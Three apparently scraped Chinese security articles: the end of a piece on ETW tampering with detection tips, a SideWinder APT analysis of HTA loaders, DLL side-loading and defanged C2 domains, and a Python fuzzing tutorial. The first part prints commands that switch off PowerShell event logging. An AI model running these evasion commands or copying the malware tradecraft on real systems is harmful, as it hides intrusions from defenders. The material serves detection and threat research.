Set-EtwTraceProvider -Guid '{A0C1853B-5C40-4B15-8766-3CF1C58F985A}' -AutologgerName 'EventLog-Application' -Property 0x11
在上面的例子中，`A0C1853B-5C40-4B15-8766-3CF1C58F985A`引用了Microsoft Windows-PowerShell
ETW提供者。该命令将最终将`HKLMSystemCurrentControlSetControlWMIAutologgerEventLog-Application{a0c1853b-5c40-4b15-8766-3cf1c58f985a}EnableProperty`设置为0x11。重新启动后，将停用PowerShell事件日志。
攻击者不受限制，仅使用`[Set-EtwTraceProvider](https://docs.microsoft.com/en-us/powershell/module/eventtracmancmdlets/set-etwtraceprovider?view=win10-ps)`就能执行该攻击。攻击者可以直接修改注册表中的值。`Set-EtwTraceProvider`提供了一个抽象的 autologger。
**其他检测方法：**
如果可能，建议检测`HKLMSYSTEMCurrentControlSetControlWMIAutologgerAUTOLOGGER_NAME{PROVIDER_GUID}`注册表项中值的改动。请注意，修改`EnableProperty`只是一个特定的例子，攻击者也可以通过其他方式更改ETW提供者。
## 从跟踪会话中删除ETW提供者
**篡改类别：** 暂时
**最低权限：** SYSTEM
**检测方法：**
不幸的是，没有任何文件、注册表或事件日志与该事件相关联。虽然下面的技术示例表明logman.exe用于执行攻击，但攻击者可以直接使用Win32
API、WMI、DCOM、PowerShell等进行混淆。
**描述：**
该技术涉及从跟踪会话中移除ETW提供者，切断事件日志记录，直到遇到重新启动，或直到攻击者恢复提供者。虽然攻击者必须拥有执行该攻击的系统权限，但如果攻击者依赖事件日志进行威胁检测，则不太可能注意到这种攻击。
**示例：** 下面的PowerShell代码会禁用Windows-PowerShell事件日志记录，直到重新启动或攻击者恢复ETW提供者：
logman update trace EventLog-Application --p Microsoft-Windows-PowerShell -ets
**其他方法：**
* Microsoft-Windows-Kernel-EventTracing/Analytic日志中的事件ID 12指定何时修改跟踪会话，但它没有提供已删除的提供者名称或GUID，因此使用该事件很难确定是否发生可疑事件。
* 到目前为止，已经有几个引用包含在`EventTracingManagement`模块中的ETW PowerShell命令，这个模块本身就是一个基于CDXML的模块。这意味着`EventTracingManagement`中的所有命令都由WMI类支持。例如，`Get-EtwTraceProvider`命令由`ROOT/Microsoft/Windows/EventTracingManagement:MSFT_EtwTraceProvider`类支持。考虑到ETW提供者可以WMI类实例的形式表示，可以创建一个永久WMI事件订阅，记录所有从特定跟踪会话到事件日志删除提供者的操作。[这段代码](https://gist.github.com/mattifestation/9f07e4ab0df84cfd176fe40db2d60aa8)创建一个`NtEventLogEventConsumer`实例，用于在事件日志跟踪会话`EventLog-Application`中删除提供者时将事件ID 8记录到事件日志(Source：WSH)。记录的事件如下所示：
* 目前尚不清楚在大型环境中从事件日志中移除提供者的频率。但我们仍然建议环境中记录logman.exe、wpr.exe和PowerShell的执行情况。
## 结论
识别警报和检测策略中的盲点和假设是确保检测弹性的关键步骤。因为ETW是事件日志的核心，所以深入了解ETW篡改攻击是提高安全相关的数据源完整性的一种重要的方法。
## 深入学习
[ETW — Overview](https://blogs.msdn.microsoft.com/dcook/2015/09/30/etw-overview/)
[Instrumenting Your Code with ETW](https://docs.microsoft.com/en-us/windows-hardware/test/weg/instrumenting-your-code-with-etw)
[Event Tracing for Windows: Reducing Everest to Pike’s
Peak](https://www.codeproject.com/Articles/1190759/Event-Tracing-for-Windows-Reducing-Everest-to-Pike)
[Use this not this: Logging / Event
Tracing](https://blogs.msdn.microsoft.com/seealso/2011/06/08/use-this-not-this-logging-event-tracing/)
[Writing an Instrumentation Manifest](https://docs.microsoft.com/en-us/windows/desktop/wes/writing-an-instrumentation-manifest)
[Event Tracing Functions](https://docs.microsoft.com/en-us/windows/desktop/etw/event-tracing-functions)
[Configuring and Starting an AutoLogger
Session](https://docs.microsoft.com/en-us/windows/desktop/ETW/configuring-and-starting-an-autologger-session)
[Event Tracing](https://docs.microsoft.com/en-us/windows/desktop/etw/event-tracing-portal)
[TraceLogging](https://docs.microsoft.com/en-us/windows/desktop/tracelogging/trace-logging-portal) | 社区文章 |
# 1.概述
"SideWinder(响尾蛇)"APT组织被认为是一个活跃于南亚地区的APT攻击组织，该组织的主要攻击目标是军事，国防等行业。针对的国家包括巴基斯坦，阿富汗，中国，孟加拉，尼泊尔等国家。该组织最早在卡巴斯基在2018年的第一季度报告中被提及，卡巴斯基声称该组织从2012年就开始活跃，但是关于该组织的技术细节没有公开。值得一提的是，卡巴斯基此后再也没有涉及该组织的相关报告。一些安全厂商根据卡巴斯基的季度报告提到的内容将一些类似的攻击归因于"SideWinder(响尾蛇)"APT组织。
从2019年开始，多家安全厂商发布了多篇关于"SideWinder(响尾蛇)"APT组织的报告。这些报告中提到的攻击行为都有明显的相似之处，使用的恶意软件特征都是相同的。"SideWinder(响尾蛇)"APT组织的攻击一直到现在都是活跃的，它的攻击工具也是不断的改进。我们在分析一些列的针对印度的攻击时，发现了和"SideWinder(响尾蛇)"APT组织的技术有相同之处。我们对“"SideWinder(响尾蛇)"APT组织做了深入的分析，于是就有了这篇文章。
# 2."SideWinder(响尾蛇)"APT组织相关报告
* 2018年4月，卡巴斯基发布了一篇名为“APT Trends report Q1 2018“的季度报告。在报告中提到了一个名为“Sidewinder”的APT组织，该组织主要针对的目标是巴基斯坦的军事部门，从2012年就开始活跃。该组织使用了自己独有的知名漏洞的利用方法(例如CVE-2017-11882），在漏洞利用执行成功后释放一个powershell的payload。卡巴斯基声称拥有较少的证据证明这些恶意软件属于一个印度的公司。卡巴斯基没有披露该组织的详细细节。
* 2018年5月23日，腾讯御见威胁情报中心发布了一篇名为“SideWinder“响尾蛇”APT组织（T-APT-04)：针对南亚的定向攻击威胁"的报告。这篇报告描述“Sidewinder”的APT组织攻击的细节：（1）使用CVE-2017-11882漏洞，（2）下载Final.hta文件并执行powershell命令。（3）释放RAT文件并执行。
* 2019年2月15日，巴基斯坦政府发布了一篇名为：Advisory - Prevention Against Cyber Espionage (Advisory No.3)的公告。在公告里提到新发现一个恶意软件，该恶意软件主要是通过邮件传播。邮件中包含看起来正常的新闻内容同时包含了一个可以下载一个ZIP文件的链接。ZIP文件中包含一个LNK文件，点击运行后会下载HTA文件，然后释放credwiz.exe，duser.dll，bd.hta文件。公告中并没有提及该恶意软件的名字以及攻击者。
* 2019年2月20日，巴基斯坦政府发布了一篇名为“Advisory - Prevention Against Cyber Espionage (Advisory No.4)"的公告。该公告中提到恶意软件和2月15日的公告中的攻击手法一样，C2有变化。
* 2019年02月26日，腾讯御见威胁情报中心发布报告：“响尾蛇（SideWinder）APT组织针对南亚的攻击活动披露”。这个报告中提到的恶意软件和巴基斯坦政府的公告中的一样。
* 2019年03月1日，巴基斯坦政府部门发布公告Advisory - Prevention against Cyber Espionage (Advisory No. 8)。在该公告中提到了一个利用CVE-2017-11882漏洞的攻击，后续的流程和腾讯提到的“Sidewinder”的APT组织一样。
* 2019年05月08日，安天发布一篇名为“响尾蛇APT组织针对巴基斯坦的定向攻击事件分析”。在报告中安天详细的披露了攻击的细节。
* 2019年8月30日，安恒发布了“响尾蛇（SIDEWINDER）APT组织针对驻华大使馆的攻击披露"的报告。该报告提到了“Sidewinder”APT组织使用了新的攻击技术。
* 2019年09月06日，瑞星发布了名为“境外APT 组织“响尾蛇”对我国发起攻击事件报告” 的报告。
* 2019年10月18日，瑞星发布了名为“ 境外APT组织“响尾蛇”再次 对我国发起攻击事件报告"的报告。
* 2019年10月29日，瑞星发布了名为“APT组织“响尾蛇”对巴基斯坦攻击事件报告"报告。
* 2019年11月11日，巴基斯坦政府发布了Prevention Against Indian APT Group Sidewinder (Advisory No. 22)的公告。在这个公告中首次称“a suspected APT group from India“从2019年2月份就开始攻击巴基斯坦的军事，政府部门。
* 2020年01月01日，Gcow安全团队发布了报告"游荡于中巴两国的魅影——响尾蛇（SideWinder）”报告。
* 2020年04月14日，腾讯安全威胁情报中心发布了一篇名为“响尾蛇（SideWinder）APT组织使用新冠疫情为诱饵的攻击活动分析”报告。
* 2020年04月14日，巴基斯坦的政府部门发布了公告:“Prevention Against Indian APT Group- RattleSnake (Advisory No.5)” 。公告中提到的样本和腾讯在同日发布的报告一样。
* 2020年05月28日，奇安信威胁情报中心发布报告:“近期响尾蛇APT组织针对周边国家和地区的攻击活动分析”。
* 2020年07月13日，Gcow安全团队发布报告"蛇从暗黑中袭来——响尾蛇(SideWinder) APT组织2020年上半年活动总结报告"
* 2020年12月09日，趋势科技发布了报告“SideWinder Uses South Asian Issues for Spear Phishing, Mobile Attacks",这篇报告中提到SideWinder APT 组织针对尼泊尔政府发起攻击。
* 2021年6月8日，奇安信情报中心发布了报告“SideWinder武器库更新：利用外交政策针对巴基斯坦的攻击活动分析”。在这篇报告中，“Sidewinder”APT组织开始对其样本进行代码混淆。
# 3.“Sidewinder”APT组织的TTPs
"SideWinder(响尾蛇)"APT组织在初始化攻击时时，会向目标发送一个钓鱼邮件。邮件中包含一个可以下载ZIP文件的链接。下载下来的ZIP文件通常包含一个LNK文件或者DOC文档。点击这些文件后会下载一个HTA文件，HTA文件会在特定目录释放一个Duser.dll文件。接着将系统文件credwiz.exe拷贝到该目录，为credwiz.exe添加一个自启动项。然后运行credwiz.exe，credwiz.exe会加载Duser.dll。Duser.dll通常是不包含恶意代码，它会进一步的加载执行其他恶意代码。目前我们观察到"SideWinder(响尾蛇)"APT组织使用的攻击方法大致分为三种：
(1) 类型1
这种类型通常是通过邮件投递一个包含漏洞利用的文档。有的文档是DOCX文件，它利用CVE-2017-0199漏洞（其实是模版注入）下载一个RTF文件，RTF文件包含一个CVE-2017-11882的利用，漏洞触发后释放一个名字为fina.hta文件。有的是一个仅仅利用了CVE-2017-11882漏洞的RTF文件。
释放的HTA文件包含两个经过base64编码的字符串：
var ec = 'preBotHta'
声明了要调用的的类。so字符串解码后是一个经过序列化的DOTNET模块，它的内部定义了一个preBotHta类。调用过程如下：
将DOTNET模块拖到dnSpy中可以看到preBotHta的定义如下：
preBotHta类主要功能在函数work中实现，这个函数的定义如下:
work函数首先使用WMI查询当前系统安全中心注册的杀毒软件的名字，如果杀软的名字不是"360","avast","avg",就会将杀软的名字提交给avUrl指向的链接。后续的代码是在一个异常处理块中运行，当代码执行失败时，异常处理过程也会向avUrl指向的链接提交当前系统中杀毒软件的名字。接下来执行如下操作:
* 在注册表HKEYCURRENTUSER\Software\Microsoft\Windows\CurrentVersion\Run 下添加一个项，以便实现开机启动。文件路径是%ProgramData%\drvr\srvc2\credwiz.exe。
* 将系统目录下的credwiz.exe拷贝到%ProgramData%\drvr\srvc2\credwiz.exe。
* 解码dllBase64并且使用gzip解压缩解码后的数据，搜索解压后的数据中特殊标志并使用传进来的参数“url”进行替换。然后将修改的数据写入到%ProgramData%\drvr\srvc2\Duser.dll文件中。
* credwiz.exe是一个系统文件，它会加载Duser.dll。这里使用的是 DLL Side-loading 方法来执行恶意代码。preBotHta类和Program类中的成员变量copyexe，hijackdllname，instfolder，instpath，program保存了配置信息。
* Duser.dll 是一个C++开发的模块，它导出多个函数，但是都指向同一个函数。Duser.dll 执行后会定时的从preBotHta.work的第五个参数指定的URL下载javascript脚本，然后调用javascript的COM组件执行。javascript脚本主要是收集系统的信息，然后上传。
（2） 类型2
这一种攻击方法是在邮件附带一个压缩过的lnk文件，lnk文件伪装成文档。一个典型的lnk如下：
点击lnk文件后，会执行mshta.exe 从https[:]//pmad-fbr.cdn-top.net/images/5512EBB0/4611/1296/20f96e/7044cf2
下载一个HTA文件。这个HTA文件包含两个经过base64编码的字符串：
da通常是经过gzip压缩和base64编码的文档或者图片。so是一个经过序列化的DOTNOT模块，代码如下：
这个文件的原始名是LinkZip.dll，它只是一个简单的downloader。函数hta.pink的定义如下：
`public void pink(string finalUrl, string avUrl, string doc, string
documentName)`
一个对这个函数调用的例子如下：
* 首先解码并解压doc字符串，然后写入到一个文件中，文件的名字取决于documentName。然后打开生成的文档，用来欺骗受害者。
* 打开诱饵文档后，会向服务器提交当前系统中安装的杀软。
* 接着从finalUrl中下载文件并保存在%temp%\bd.hta中，如果下载失败次数超过10次，会通过avUrl向C2服务器提交一个"File-not-Written"错误。如果下载成功会调用mshta.exe执行bd.hta。
* bd.hta是一个HTA文件，它会调用preBotHta的work函数，然后拷贝credwiz.exe，释放Duser.dll。hta类的成员变量finalName,location保存了配置信息。Duser.dll 执行流程和类型1一样。
（3） 类型3
这种类型攻击方法通常是向受害者发送一个包含CVE-2017-11882漏洞利用的文档或者LNK文件，它们执行后释放或者下载执行逻辑相同的HTA文件。这些文件大多是经过混淆和简单的加密的，一个典型的例子如下
解密后的文件如下：
反序列化后并调用的模块代码定义如下:
StInstaller.Program.work函数定义如下:
`public void Work(string dll22, string dll, string url = "")`
这个函数和preBotHta.work函数的执行流程有些相似，但是有些变化。目前我们观察到有两种类型：
* 将write.exe拷贝到指定目录，然后在该目录释放propsys.dll,随机名字的临时文件、ite.exe.config。
* 将rekeywiz.exe拷贝到指定目录，然后在该目录释放Duser.dll,随机名字的临时文件、ekeywiz.exe.config。
preBotHta.work使用base64算法解码相关字符串并使用gzip解压，修改数据中配置信息，然后生成propsys.dll或者Duser.dll。配置信息包括和C2通讯的地址和临时文件的名。propsys.dll或Duser.dll把这个临时文件加载到内并解密然后调用临时文件的start函数：
释放出来的临时文件原始名是SystemApp.dll，这个DLL的中的SystemApp.program.start函数会创建两个定时器，一个用于从C2服务器上获取配置更新信息，另一个用于定时上传收集到的信息。更新配置信息的部分代码如下：
上传收集的信息的代码如下：
# 4."SideWinder(响尾蛇)"APT组织新的变化
2020年以后，"SideWinder(响尾蛇)"APT组织主要是使用型3的攻击方法。类型1和类型2很少出现于公开的报告。类型3使用HTA大多经过简单的混淆和简单的加密，但是使用C#开发的DLL文件都没有混淆。将这些DLL文件解码后，使用dnSpy工具可以很轻松的分析它们。到了2021年有了变化,"SideWinder(响尾蛇)"APT组织开始对这些DLL文件中的函数和变量名字进行混淆。一个典型的例子如下:
App.dll相当于类型3中的hta.dll文件，但是如果看这个文件中的函数的名字就会发现差别很大。不少函数原始的名字已经被替换成一些随意组合的字符串。
work函数的定义如下:
`public void Work(string EncapsulatedObjectNotifyIterator, string
GetDynamicInterpreterObject, string RequestMutatorProgramData, string
ProgramRestoreClassShare)`
这个函数原本的定义如下:
`public void pink(string finalUrl, string avUrl, string doc, string
documentName)`
以Decompress为例，混淆前和混淆后对比如下:
# 5.一些有意思的发现
"SideWinder(响尾蛇)"APT组织使用的C&C server 的域名通常包含"CDN",比如:s3-cdn[.]net、cdn-load[.]net、cdn-dl[.]cn、cdn-dl[.]cn。
我们对SideWinder(响尾蛇)"APT组织使用的域名的子域做了统计，发现了很多有意思的地方：
有的子域被用作了C&C server，有些则没有。多数情况下，子域会显示可能的攻击目标。几个比较典型的例子如下:
* nadra[.]gov.pk.d-dns.co,巴基斯坦国家数据库和注册管理局 (NADRA)的官网是:nadra[.]gov.pk。
* pakbj[.]chrom3.net，巴基斯坦驻北京大使馆的官网是:www[.]pakbj.org。
* myanmarembassy[.]cdn-edu.net，"myanmarembassy"拆开是"myanmar embassy"意即缅甸大使馆。
* nepalarmy[.]filesrvr.net，尼泊尔陆军的官网是:www[.]nepalarmy.mil.np。
* myanmarembassy[.]cdn-edu.net,阿富汗外交部的网站是:www[.]mfa.gov.af。
* fmprc[.]cdn-pak.net，中国外交部的官网是:www[.]fmprc.gov.cn
www[.]punjabpolice.gov.pk.standingoperatingprocedureforemergencythreat.cdn-in.net中有一个字符串，这个字符串拆开后是"standing operating procedure for emergency
threat"。直译过来就是"紧急威胁的标准处理流程"，就是通常说的"安全应急响应"。
theguardian-pk-protest-against-imran-khan.gov-pok.net也很有意思，在卫报的官网上可以找到一个标题为"Pakistan's united opposition protests against
Imran Khan's rule"的新闻。
# 6.总结
从2018年到如今，"SideWinder(响尾蛇)"APT组织活跃了3年的时间。这三年的时间里，该组织不断地改进其攻击工具。该组织的C2一个典型的特点是使用的域名中通常包含“CDN”或者"gov.pk"，当然也有一些例外。其主要是针对政府、国防和军工行业感兴趣，涉及的国家大多是在南亚。虽然很多安全厂商通常是根据地缘政治来判断该组织来自印度，但是目前没有公开的报告提供确凿证据。 | 社区文章 |
# Fuzzing入坑系列-Part1
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言:
最近啃了[FuzzingBook](https://www.fuzzingbook.org)，然后记录一个关于入坑fuzzing的学习历程
## Fuzzing简介：
首先是关于软件测试：
软件测试主要是三种方式：
1. 手工测试
2. 半自动化测试
3. 自动化测试
作者觉得Fuzzing是一种介于自动化和半自动化的测试方法
>
> 其核心思想是自动或半自动的生成随机数据输入到一个程序中，并监视程序异常，如崩溃，断言(assertion)失败，以发现可能的程序错误，比如内存泄漏。模糊测试常常用于检测软件或计算机系统的安全漏洞。
>
>
> ——[维基百科:模糊测试](https://zh.wikipedia.org/wiki/%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95)
就Fuzzing来说，模糊测试主要有两个重要的模块组成 **Fuzzer** 和 **Runner**
下面是其类图：
一个很简单的调用关系来进行简单的包装，Runner类主要负责将数据输入程序，以及监控程序的运行状态，这次我们先重点介绍Fuzzer
## Fuzzer
对于模糊测试来说，很重要的一点就是对数据进行模糊处理，所以一般在实现上都会单独把 **Fuzzer** 模块抽离出来
如上图所示，对于数据变异常用的三种基础的方式是 **随机删除** ， **随机添加** ， **随机反转(filp)**
，下面是简单的实现代码，我们后续的工作也是基于其来进行的构建
def del_random_chr(s):
if s is None:
return self.insert_random_chr(s)
pos = random.randint(0, len(s))
return s[:pos]+s[pos+1:]
def insert_random_chr(s):
pos = random.randint(0, len(s))
new_s = chr(random.randrange(32, 127))
return s[:pos]+new_s+s[pos:]
def flip_random_chr(s):
if s is None:
return self.insert_random_chr(s)
pos = random.randint(0, len(s)-1)
bit = 1<<random.randint(0, 6)
return s[:pos]+chr(ord(s[pos])^bit)+s[pos+1:]
为了跟完善一点，在fuzzingbook中，作者将其包装成一个类
class Mutator(object):
def __init__(self):
self.mutators = [
self.del_random_chr,
self.insert_random_chr,
self.flip_random_chr
]
def del_random_chr(self, s:str):
if s is None:
return self.insert_random_chr(s)
pos = random.randint(0, len(s))
return s[:pos]+s[pos+1:]
def insert_random_chr(self, s:str):
pos = random.randint(0, len(s))
new_s = chr(random.randrange(32, 127))
return s[:pos]+new_s+s[pos:]
def flip_random_chr(self, s:str):
if s is None:
return self.insert_random_chr(s)
pos = random.randint(0, len(s)-1)
bit = 1<<random.randint(0, 6)
return s[:pos]+chr(ord(s[pos])^bit)+s[pos+1:]
def mutate(self, s):
mutator = random.choice(self.mutators)
return mutator(s)
在这一部分中，主要是包装数据进行基础变异处理的一些方法，还不能成为Fuzzer
下面是一个Fuzzer的基类
class Fuzzer(object):
def __init__(self):
pass
def fuzz(self):
return ""
def run(self, runner:Runner=Runner()):
return runner.run(inp=self.fuzz())
def runs(self, runner:Runner=PrintRunner(), trials=10):
outcomes = [self.run(runner) for i in range(trials)]
return outcomes
基类的构建主要是为了Runner和Fuzzer联系起来，可以看见其仅仅提供基础的run方法，主要是将我们进行fuzz处理后的数据输入到Runner里面去，由Runner传递给我们
**Target程序**
有了上面的基础部件，我们下面就能够实现一个简单突变Fuzzer
class Seed(object):
def __init__(self, data):
self.data = data
def __str__(self):
return self.data
__repr__ = __str__
class PowerSchedule(object):
def assignEnergy(self, population):
for seed in population:
seed.energy = 1
def normalizedEnergy(self, population):
energy = list(map(lambda seed: seed.energy, population))
sum_energy = sum(energy)
norm_energy = list(map(lambda nrg: nrg/sum_energy, energy))
return norm_energy
def choose(self, population):
self.assignEnergy(population)
norm_energy = self.normalizedEnergy(population)
seed = np.random.choice(population, p=norm_energy)
return seed
class MutationFuzzer(Fuzzer):
def __init__(self, seeds, mutator, schedule):
self.seeds = seeds
self.mutator = mutator
self.schedule = schedule
self.inputs = []
self.reset()
def reset(self):
self.population = list(map(lambda x: Seed(x), self.seeds))
self.seed_idx = 0
def create_candidate(self):
seed:Seed = self.schedule.choose(self.population)
candidate = seed.data
trials = min(len(candidate), 1 << random.randint(1, 5))
for i in range(trials):
candidate = self.mutator.mutate(candidate)
return candidate
def fuzz(self):
if self.seed_idx < len(self.seeds):
self.inp = self.seeds[self.seed_idx]
self.seed_idx += 1
return self.inp
self.inp = self.create_candidate()
self.inputs.append(self.inp)
return self.inp
* **Seed类** 主要是为了对种子数据进行一些包装，使得我们能够赋予种子数据一些相关数据，方便我们后续对数据的处理
* **PowerSchedule类** 相当于一个调度表，主要目的是为了通过种子数据的权级关系来引导后续数据的生成，简单点说，就是对种子数据的权重进行管理
* 相对核心的 **MutationFuzzer类** ，其继承于 **Fuzzer** 基类，同时能将我们的所给种子数据进行突变模糊
测试代码:
seed_input = "http://www.google.com/search?q=fuzzing"
mutation_fuzzer = MutationFuzzer(seeds=[seed_input], mutator=Mutator(), schedule=PowerSchedule())
for i in range(10):
print(mutation_fuzzer.fuzz())
输出:
$> python3 mutator_test.py
http://www.google.com/search?q=fuzzing
http:/ww.gooc:le.co/earcH?q<nuzinYg
ht#tp!://ww7.gogle&com/seamrch?q=cfuozzing
zLIhtp:/www.g1oogxencOm/bpsgarch?qw=fuzzing
ht+t[r/www.google.com/search?1=furzng
`ttq:3/7wg.goggne>com/sarch?=uuzinw
http://www.google.com[/search?q=fuzzing;
http://www.g%oogl.c`omd-se]rc?qfi9o
htp:/cww.qgoglg.coi/search?pfuzajg
http:/+www.eoogle.coe/ search?q=fuzzing
确实将数据进行了模糊处理，但其似乎太发散了，基本不在我们可控范围内，所以我们需要考虑一种方案，其能够引导我们的Fuzzer来生成数据，相当于一种具有引导性的Fuzzer，所以我们需要学习一个新的概念：
**Code Coverage** (代码覆盖率)
## Code Coverage:
> **代码覆盖** （英语： **Code coverage**
> ）是[软件测试](https://zh.wikipedia.org/wiki/%E8%BB%9F%E9%AB%94%E6%B8%AC%E8%A9%A6)中的一种[度量](https://zh.wikipedia.org/wiki/%E8%BB%9F%E9%AB%94%E5%BA%A6%E9%87%8F)，描述[程序](https://zh.wikipedia.org/wiki/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A8%8B%E5%BA%8F)中[源代码](https://zh.wikipedia.org/wiki/%E6%BA%90%E4%BB%A3%E7%A2%BC)被测试的比例和程度，所得比例称为
> **代码覆盖率** 。
> ——[维基百科:代码覆盖率](https://zh.wikipedia.org/wiki/%E4%BB%A3%E7%A2%BC%E8%A6%86%E8%93%8B%E7%8E%87)
关于代码覆盖率，其实顾名思义，说简单了也就是我们输入的数据，能够让程序的那些代码得倒执行以及其执行的次数，包括其执行次数占总数的一个比例。
在FuzzingBook中，其作者举了一个🌰：
/* CGI decodeing as c program */
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#define DEBUG 0
typedef unsigned int bool;
bool true = 1;
bool false = 0;
int hex_values[256];
#define HEX_VALUES_LENGTH sizeof(hex_values)/sizeof(int)
void init_hex_values() {
for (int i = 0; i < HEX_VALUES_LENGTH; i++) {
hex_values[i] = -1;
}
for (char i='0'; i<='9'; i++) {
hex_values[i] = i-'0';
}
for (char i='a'; i<='f'; i++) {
hex_values[i] = i-'a'+0xa;
}
for (char i='A'; i<='F'; i++) {
hex_values[i] = i-'A'+0xA;
}
}
bool cgi_decode(char *s, char *t) {
while (*s!='\0')
{
switch (*s)
{
case '+':
*t++ = ' ';
break;
case '%':
{
int dight_high = *++s;
int dight_low = *++s;
if (hex_values[dight_high]<0 && hex_values[dight_low]<0) {
return false;
}
*t++ = (hex_values[dight_high]<<4) + hex_values[dight_low];
}
break;
default:
*t++ = *s;
break;
}
s++;
}
*t = '\0';
return true;
}
int main(int argc, char const *argv[])
{
init_hex_values();
// #if DEBUG
// for (int i=0; i<HEX_VALUES_LENGTH; i++) {
// printf("%c:0x%x\n", i, hex_values[i]);
// }
// #endif
if (argc>=2) {
char* s = (char*)argv[1];
char* t = malloc(strlen(s)+1);
bool ret = cgi_decode(s, t);
printf("%s\n", t);
return ret;
}
printf("cgi_decode: usage: cgi_decode STRING\n");
return 0;
}
终端:
$> gcc cgi_decode.c --coverage -o cgi_decode
$> ./cgi_decode 'Send+mail+to+me%40fuzzingbook.org'
$> gcov cgi_decode.c
File 'cgi_decode.c'
Lines executed:92.86% of 42
cgi_decode.c:creating 'cgi_decode.c.gcov'
然后在生成的.c.gcov文件中如图所示
最左边就是每一行代码执行到的次数
对于python代码，作者构建了一个 **Coverage类** 来记录代码覆盖率:
class Coverage(object):
def traceit(self, frame, event, arg):
if self.original_trace_function is not None:
self.original_trace_function(frame, event, arg)
if event == "line":
function_name = frame.f_code.co_name
lineno = frame.f_lineno
self._trace.append((function_name, lineno))
return self.traceit
def __init__(self):
self._trace = []
def __enter__(self):
self.original_trace_function = sys.gettrace()
sys.settrace(self.traceit)
return self
def __exit__(self, exc_type, exc_value, tb):
sys.settrace(self.original_trace_function)
def trace(self):
return self._trace
def coverage(self):
return set(self.trace())
这样的话就可以通过这个Coverage类来使用with语句来记录代码覆盖率
测试代码:
with Coverage() as cov:
cgi_decode("a+b")
print(cov.coverage())
终端:
$> python3 coverage_test.py
{('cgi_decode', 24), ('cgi_decode', 30), ('cgi_decode', 43), ('cgi_decode', 33), ('cgi_decode', 23), ('__exit__', 38), ('cgi_decode', 32), ('cgi_decode', 45), ('cgi_decode', 29), ('cgi_decode', 25), ('cgi_decode', 22), ('cgi_decode', 28), ('cgi_decode', 44), ('cgi_decode', 31), ('cgi_decode', 21), ('cgi_decode', 34)}
了解代码覆盖率之后，我们就可以使用代码覆盖率，来引导我们的Fuzzer来生成数据，相当于一种具有引导性突变的Fuzzer，我们称为
**GreyboxFuzzer** ，下面是实现这个类的代码
class GreyboxFuzzer(MutationFuzzer):
def reset(self):
super().reset()
self.coverages_seen = set()
self.population = []
def run(self, runner: Runner):
result, outcome = super().run(runner=runner)
new_coverage = frozenset(runner.coverage())
if new_coverage not in self.coverages_seen:
seed = Seed(self.inp)
seed.coverage = runner.coverage()
self.coverages_seen.add(new_coverage)
self.population.append(seed)
return (result, outcome)
在 **MutationCoverageFuzzer类**
的Run方法中，我们实际上至少比较了每一次Runner执行后的，其输入的数据是否让程序执行到新的代码块，如果有则记录下来，同时将这一次的数据加入到进行帅选到种子列表中，作为下次突变的数据种子，这样就有机会让我们Fuzzer生成出来的数据能够广的代码覆盖率。
下面是 **MutationFuzzer** 和 **GreyboxFuzzer** 的测试对比,
依然使用FuzzingBook中的测试例子，也是一个很有趣的🌰
Target程序代码:
def crashme (s):
if len(s) > 0 and s[0] == 'b':
if len(s) > 1 and s[1] == 'a':
if len(s) > 2 and s[2] == 'd':
if len(s) > 3 and s[3] == '!':
raise Exception()
**MutationFuzzer** 测试代码:
seed_input = "good"
blackbox_fuzzer = MutationFuzzer([seed_input], Mutator(), PowerSchedule())
n = 30000 # 测试次数
blackbox_runner = FunctionCoverageRunner(crashme)
with Timer() as t:
blackbox_fuzzer.runs(blackbox_runner, trials=n)
all_cov, greybox_coverage = population_coverage(blackbox_fuzzer.inputs, crashme)
print(t.elapsed_time())
print(all_cov)
print(max(greybox_coverage))
终端:
$> python3 mutator_test.py
1.489651209
{('crashme', 3), ('__exit__', 38), ('crashme', 2)}
3
**GreyboxFuzzer** 测试代码
seed_input = "good"
n = 30000
greybox_fuzzer = GreyboxFuzzer([seed_input], Mutator(), PowerSchedule())
runner = FunctionCoverageRunner(crashme)
with Timer() as t:
greybox_fuzzer.runs(runner, trials=n)
all_cov, greybox_coverage = population_coverage(greybox_fuzzer.inputs, crashme)
print(t.elapsed_time())
# print(runner.coverage())
print(all_cov)
print(max(greybox_coverage))
print(greybox_fuzzer.population)
终端：
$> python3 greyboxFuzzer.py
1.7056656000000001
{('crashme', 3), ('crashme', 6), ('crashme', 2), ('crashme', 5), ('crashme', 4), ('__exit__', 38)}
6
[good, bEgd, bar$Egdi, badEdi, bad!Egi]
下面是FuzzingBook所给出的一张对比图，可以直观的发现，没有代码覆盖率引导的普通数据变异很难覆盖完程序的路径，而通过代码覆盖率的引导，Fuzzer生成的数据能逐渐的覆盖程序的路径。
## AFLFastSchedule:
在我们Fuzz
crashme这个例子中，通过上节的实验我们可以发现使用代码覆盖率来引导我们的Fuzzer，可以使其变得更有目的性的去生成变异数据，但其耗时还是相对较长，且fuzzing出来的的数据也相对较多，那么有没有优化的方案呢？
在FuzzingBook中，作者使用如下公式来计算种子数据的权重
e(s) =\frac{1}{f(p(s))^e}
实际上很容易理解:
* s是种子，作为一个参数
* 函数p用来获取该种子所覆盖的路径hash值
* 函数f用来获取该路径已经被种子覆盖的次数
* e是一个指数常量，用来扩大数量级，通过调整这个e的常量值，我们能减少fuzz的次数, 来提升fuzzer的效率
**AFLFastSchedule类** 实现代码:
class AFLFastSchdule(PowerSchedule):
def __init__(self, exponent):
self.exponent = exponent
self.path_frequency = {}
def assignEnergy(self, population:List[Seed]):
for seed in population:
seed.energy = 1 / (self.path_frequency[getPathID(seed.coverage)] ** self.exponent)
**AFLFastSchedule类** 继承PowerSchedule，重写了assignEnergy方法，重新通过上诉公式来计算种子的权重
**CountGreyboxFuzzer类** 实现代码:
class CountingGreyboxFuzzer(GreyboxFuzzer):
def __init__(self, seeds, mutator: Mutator, schedule: AFLFastSchdule):
super().__init__(seeds, mutator, schedule)
self.schedule = schedule
def reset(self):
return super().reset()
def run(self, runner: Runner):
result, outcome = super().run(runner)
path_id = getPathID(runner.coverage())
if path_id not in self.schedule.path_frequency:
self.schedule.path_frequency[path_id] = 1
return result, outcome
self.schedule.path_frequency[path_id] += 1
return result, outcome
**CountGreyboxFuzzer类**
继承GreyboxFuzzer，主要重写run方法，将检测代码路径是否已被执行替换为增加路径已执行次数，相比较原来的 **普通greyboxFuzzer**
，这样当下一次种子调度器在帅选种子时，就有权重变化了。
